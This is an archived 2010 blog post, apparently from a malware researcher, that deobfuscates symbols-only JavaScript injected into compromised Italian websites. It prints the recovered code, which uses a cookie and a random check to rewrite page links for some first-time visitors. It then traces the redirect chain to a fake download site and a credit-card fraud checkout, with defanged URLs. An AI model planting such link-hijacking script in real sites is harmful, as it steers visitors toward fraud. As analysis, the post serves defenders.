---
type: Article
title: Dollars JavaScript Code – Yet Another JavaScript Obfuscation Method for CC Frauds
description: Deobfuscates a symbols-only JavaScript payload found injected into Italian sites, stepping through it with alert() calls and a textarea to recover the Function() body. The recovered code rewrites every link on the page for a random one in five first-time visitors, funnelling them to a fake download site ending at a credit-card fraud checkout.
resource: "https://web.archive.org/web/20101009193511/http://extraexploit.blogspot.com/2010/10/dollars-javascript-code-yet-another.html"
tags: [article, webseclist-reference, extraexploit-blogspot-com, javascript, encoding, case-study, cookie, dom, owasp-a07-2021]
generated:
  by: webseclist-refs/1
  at: "2026-08-10T15:09:47+00:00"
status: stable
stale_after: 2027-08-10
sources:
  - id: original
    resource: "https://web.archive.org/web/20101009193511/http://extraexploit.blogspot.com/2010/10/dollars-javascript-code-yet-another.html"
    title: Dollars JavaScript Code – Yet Another JavaScript Obfuscation Method for CC Frauds
  - id: capture
    resource: "https://web.archive.org/web/20101009193511/http://extraexploit.blogspot.com/2010/10/dollars-javascript-code-yet-another.html"
also_at: []
authors: []
canonical_url: ""
cited_by:
  - "2010.md:49"
commit: ""
content_sha256: 02533294da6d0c599a7d68bf8791af74e9c464994b44e2cd1775a7136655aa6c
depth: full
depth_reason: default
kind: article
language: ""
licence: unknown
original_url: "https://web.archive.org/web/20101009193511/http://extraexploit.blogspot.com/2010/10/dollars-javascript-code-yet-another.html"
published: ""
publisher: extraexploit.blogspot.com
publisher_english: ""
raw_sha256: b387f27a74114141a908cdf264c63a137679d09c37ef089d219d487cdabc4659
retrieved_from: "https://web.archive.org/web/20101009193511/http://extraexploit.blogspot.com/2010/10/dollars-javascript-code-yet-another.html"
retrieved_kind: live
retrieved_utc: "2026-08-10T15:09:47+00:00"
slug: extraexploit-blogspot-com-dollars-javascript-code-yet-another-javascript-frauds
snapshot: 20101009193511
title_english: ""
translation_file: ""
translation_of: ""
---

# Dollars JavaScript Code – Yet Another JavaScript Obfuscation Method for CC Frauds

**Dollars JavaScript Code – Yet Another JavaScript Obfuscation Method for CC Frauds** - Author not stated, extraexploit.blogspot.com.

- Published: date not stated
- Original: <https://web.archive.org/web/20101009193511/http://extraexploit.blogspot.com/2010/10/dollars-javascript-code-yet-another.html>
- Preserved from: https://web.archive.org/web/20101009193511/http://extraexploit.blogspot.com/2010/10/dollars-javascript-code-yet-another.html (live) on 2026-08-10
- Capture timestamp: 20101009193511
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

From MDL forum, I get a post where a user (many thanks to Edgar) has been reported a strange Javascript code injected in some Italian web site. Specifically the message is located at the following URL:

[http://www.malwaredomainlist.com/forums/index.php?topic=4354.0](https://web.archive.org/web/20101009193511/http://www.malwaredomainlist.com/forums/index.php?topic=4354.0)

The code that is reported looks like shown in the following screenshot:

|  [![dollarscode001](https://web.archive.org/web/20101009193511im_/http://lh5.ggpht.com/_uioOPkGBTsE/TKuzaGchYDI/AAAAAAAAA3A/uE3eKBGtndM/dollarscode001_thumb%5B15%5D.png?imgmax=800)](https://web.archive.org/web/20101009193511/http://lh5.ggpht.com/_uioOPkGBTsE/TKuzXWxY5II/AAAAAAAAA24/Xlnk21q8oeU/s1600-h/dollarscode001%5B19%5D.png)  |   |

At first lookup appears like a nonsense code for who is not a Javascript guru like me. So I decide to try to decode this very interesting code for try to know what this code do. The first step it’s been try to use some Javascript alert() function call in the prologue code. So the first lines of code are been modified as following:

|  [![dollarscode002](https://web.archive.org/web/20101009193511im_/http://lh5.ggpht.com/_uioOPkGBTsE/TKuyAZrAxlI/AAAAAAAAA3M/uY9_oVRyW4E/dollarscode002_thumb%5B9%5D.png?imgmax=800)](https://web.archive.org/web/20101009193511/http://lh3.ggpht.com/_uioOPkGBTsE/TKux-aTyFHI/AAAAAAAAA3E/yUGHZ7y-Okk/s1600-h/dollarscode002%5B17%5D.png)  |   |

The blue pills shown the place where the alert() has been placed. Trying to execute this abstract of code the alert call sequence has generated these results:

[![dollarscode003](https://web.archive.org/web/20101009193511im_/http://lh4.ggpht.com/_uioOPkGBTsE/TKuyCIKYXmI/AAAAAAAAA1s/HozY3lX0p84/dollarscode003_thumb%5B1%5D.png?imgmax=800)](https://web.archive.org/web/20101009193511/http://lh6.ggpht.com/_uioOPkGBTsE/TKuyAu0Ar7I/AAAAAAAAA1o/SKDOgxRQHlY/s1600-h/dollarscode003%5B5%5D.png)

[![dollarscode004](https://web.archive.org/web/20101009193511im_/http://lh4.ggpht.com/_uioOPkGBTsE/TKuyDch_x2I/AAAAAAAAA10/GmWfyozk1lw/dollarscode004_thumb.png?imgmax=800)](https://web.archive.org/web/20101009193511/http://lh6.ggpht.com/_uioOPkGBTsE/TKuyC3HfUKI/AAAAAAAAA1w/IXxpNC-N8LA/s1600-h/dollarscode004%5B2%5D.png)

[![dollarscode005](https://web.archive.org/web/20101009193511im_/http://lh6.ggpht.com/_uioOPkGBTsE/TKuyEojU5sI/AAAAAAAAA18/ZUsQNz4VlnY/dollarscode005_thumb.png?imgmax=800)](https://web.archive.org/web/20101009193511/http://lh5.ggpht.com/_uioOPkGBTsE/TKuyDm9H33I/AAAAAAAAA14/U1f7nCn15is/s1600-h/dollarscode005%5B2%5D.png)

[![dollarscode006](https://web.archive.org/web/20101009193511im_/http://lh5.ggpht.com/_uioOPkGBTsE/TKuyHJAtIhI/AAAAAAAAA2E/_rBCNIcyxgE/dollarscode006_thumb.png?imgmax=800)](https://web.archive.org/web/20101009193511/http://lh5.ggpht.com/_uioOPkGBTsE/TKuyGed4GGI/AAAAAAAAA2A/tQaBjEKz87E/s1600-h/dollarscode006%5B2%5D.png)

[![dollarscode007](https://web.archive.org/web/20101009193511im_/http://lh5.ggpht.com/_uioOPkGBTsE/TKuyJJk9gnI/AAAAAAAAA2M/hK7qNu6ThYM/dollarscode007_thumb.png?imgmax=800)](https://web.archive.org/web/20101009193511/http://lh3.ggpht.com/_uioOPkGBTsE/TKuyHtuRPWI/AAAAAAAAA2I/Jth1yiDA9aw/s1600-h/dollarscode007%5B2%5D.png)

The rest of code deobfuscation is obtained placing within a textarea the code referenced by “Function()” as follow:

[![dollarscode008](https://web.archive.org/web/20101009193511im_/http://lh3.ggpht.com/_uioOPkGBTsE/TKu5narSVcI/AAAAAAAAA3Y/V_EHrhoPQ_M/dollarscode008_thumb%5B5%5D.png?imgmax=800)](https://web.archive.org/web/20101009193511/http://lh4.ggpht.com/_uioOPkGBTsE/TKu5mbijoQI/AAAAAAAAA3U/GOh0PGTHqzY/s1600-h/dollarscode008%5B7%5D.png)

also the end of obfuscated code must be modified as shown:

|  [![dollarscode009](https://web.archive.org/web/20101009193511im_/http://lh5.ggpht.com/_uioOPkGBTsE/TKu6VojndcI/AAAAAAAAA3o/LyI3qwb76Nk/dollarscode009_thumb%5B7%5D.png?imgmax=800)](https://web.archive.org/web/20101009193511/http://lh5.ggpht.com/_uioOPkGBTsE/TKu6U00i8FI/AAAAAAAAA3k/wNKM2H26oy4/s1600-h/dollarscode009%5B11%5D.png)  |   |

Once this modified code is placed in a test HTML page and rendered by Firefox, it’s been obtained this deobfuscated jquery code:

|

page_links = [];
 function setGlobalOnLoad(f) {
 var root = window.addEventListener || window.attachEvent ? window : document.addEventListener ? document : null
 if (root){
 if(root.addEventListener) root.addEventListener("load", f, false)
 else if(root.attachEvent) root.attachEvent("onload", f)
 } else {
 if(typeof window.onload == 'function') {
 var existing = window.onload
 window.onload = function() {
 existing()
 f()
 }
 } else {
 window.onload = f
 }
 }
 }
 function addHandler(object, event, handler) {
 if (typeof object.addEventListener != 'undefined')
 object.addEventListener(event, handler, false);
 else if (typeof object.attachEvent != 'undefined')
 object.attachEvent('on' + event, handler);
 }

 if (window.navigator.userAgent.match(/gtb/i) || window.navigator.userAgent.match(/chrome/i) || document.referrer!='' || document.referrer.indexOf (document.domain)==-1) {
 var right_browser='yes';
 }else var right_browser='no';

 function getCookie(c_name)
 {
 if (document.cookie.length>0)
 {
 c_start=document.cookie.indexOf(c_name + "=");
 if (c_start!=-1)
 {
 c_start=c_start + c_name.length+1;
 c_end=document.cookie.indexOf(";",c_start);
 if (c_end==-1) c_end=document.cookie.length;
 return unescape(document.cookie.substring(c_start,c_end));
 }
 }
 return "";
 }
 var c_index = Math.floor(Math.random() * 5);
 var fcoo=getCookie('c_first');
 var exdate=new Date();
 exdate.setDate(exdate.getDate()+365);
 document.cookie='c_first'+ "=" +escape('false')+";expires="+exdate.toUTCString();
 if (c_index==4 && fcoo!='false' && right_browser=='yes') {
 setGlobalOnLoad(function() {
 **var block = document.getElementById('mlk');**
 var links = block.getElementsByTagName('A');
 for (var i = 0; i < links.length; i++) {
 page_links.push(links[i].href);
 }
 var links = document.links;
 for (var i = 0; i < links.length; i++) {
 addHandler(links[i], "click", function(event) {
 var index = Math.floor(Math.random() * (page_links.length - 1));
 event.target.href = page_links[index];
 });
 }
 });

  |   |

***Update**: the code it’s been obuscated using the following encoding script:
*[*http://utf-8.jp/public/jjencode.html*](https://web.archive.org/web/20101009193511/http://utf-8.jp/public/jjencode.html)* (Mowab thank you very much for your support).*

The obtained code, at first sight seems a loader of the href object injected in the compromised web page (as shown along). Also the bolded line of code:

**var block = document.getElementById('mlk');**

is the object assignment which contain the link to the malicious HTML page injected within the compromised hosts. In particular all server listed and reported by the MDL post seems reference URL like these:

|  [![dollarscode010](https://web.archive.org/web/20101009193511im_/http://lh4.ggpht.com/_uioOPkGBTsE/TKvHUTA3DaI/AAAAAAAAA30/o5F6K6IxX68/dollarscode010_thumb%5B2%5D.png?imgmax=800)](https://web.archive.org/web/20101009193511/http://lh5.ggpht.com/_uioOPkGBTsE/TKvHQRnUrxI/AAAAAAAAA3w/93m7BXmqkOk/s1600-h/dollarscode010%5B4%5D.png)  |   |

The HTML page injected lead to a to a black listed site as credit card fraud. In this case the compromised host analyzed is bisteccheriadabaffo.it. Calling , for example,

bisteccheriadabaffo.it/modules/com_easycaptcha/desert-highlands-golf-p-699.html

is retrieved this page:

|  [![dollarscode011](https://web.archive.org/web/20101009193511im_/http://lh4.ggpht.com/_uioOPkGBTsE/TKvHb-MxaCI/AAAAAAAAA38/anKTyLnvCII/dollarscode011_thumb%5B1%5D.png?imgmax=800)](https://web.archive.org/web/20101009193511/http://lh5.ggpht.com/_uioOPkGBTsE/TKvHVY3cTaI/AAAAAAAAA34/xDle447Ium8/s1600-h/dollarscode011%5B3%5D.png)  |   |

Clicking on one of the download buttons appear a CAPTCHA request as following:

|  [![dollarscode012](https://web.archive.org/web/20101009193511im_/http://lh5.ggpht.com/_uioOPkGBTsE/TKvHegSXm1I/AAAAAAAAA4E/Vn3l8kRIg-c/dollarscode012_thumb%5B3%5D.png?imgmax=800)](https://web.archive.org/web/20101009193511/http://lh6.ggpht.com/_uioOPkGBTsE/TKvHcXPRLiI/AAAAAAAAA4A/SoTfre4rMEE/s1600-h/dollarscode012%5B5%5D.png)  |   |

Clicking on download button is called the following URL:

hzzzzp://turbo-speed-downloads.com/download.php?file=1506495%20Cranberry%20Highlands%20Golf%20Course%20gsm%20userschoise%2097%20302.rar

Following the download sequence appear a message that entice the user to signup for download the desired file:

|  [![dollarscode014](https://web.archive.org/web/20101009193511im_/http://lh4.ggpht.com/_uioOPkGBTsE/TKvHhbUjiCI/AAAAAAAAA4M/kTQbv77aIWI/dollarscode014_thumb%5B1%5D.png?imgmax=800)](https://web.archive.org/web/20101009193511/http://lh5.ggpht.com/_uioOPkGBTsE/TKvHgN6dn7I/AAAAAAAAA4I/I4yvJ3eUEEU/s1600-h/dollarscode014%5B3%5D.png)  |   |

Trying to sign up, is shown a fake promotional message like this:

[![dollarscode015](https://web.archive.org/web/20101009193511im_/http://lh6.ggpht.com/_uioOPkGBTsE/TKvHjog8O4I/AAAAAAAAA4U/XwNKUJEdNvU/dollarscode015_thumb%5B1%5D.png?imgmax=800)](https://web.archive.org/web/20101009193511/http://lh3.ggpht.com/_uioOPkGBTsE/TKvHig_J-8I/AAAAAAAAA4Q/7TDA9uF_1Js/s1600-h/dollarscode015%5B3%5D.png)

The checkout action try to contact this website

hxxxxps://purchase.shopeasydeals.com/

that is black listed for credit card frauds as noticed by MyWOT response

[http://www.mywot.com/en/scorecard/purchase.shopeasydeals.com](https://web.archive.org/web/20101009193511/http://www.mywot.com/en/scorecard/purchase.shopeasydeals.com)

|  [![dollarscode016](https://web.archive.org/web/20101009193511im_/http://lh6.ggpht.com/_uioOPkGBTsE/TKvHnK-CrpI/AAAAAAAAA4c/-n12v8z3agM/dollarscode016_thumb%5B3%5D.png?imgmax=800)](https://web.archive.org/web/20101009193511/http://lh3.ggpht.com/_uioOPkGBTsE/TKvHl2Ikg5I/AAAAAAAAA4Y/GacRLzhtDDo/s1600-h/dollarscode016%5B5%5D.png)  |   |

I think that the compromised hosts , as reported at the begin of this post, have been implicated for a Black Hat Seo infrastructure with the goal of enticing users to download stuff from a credit card fraud web site.
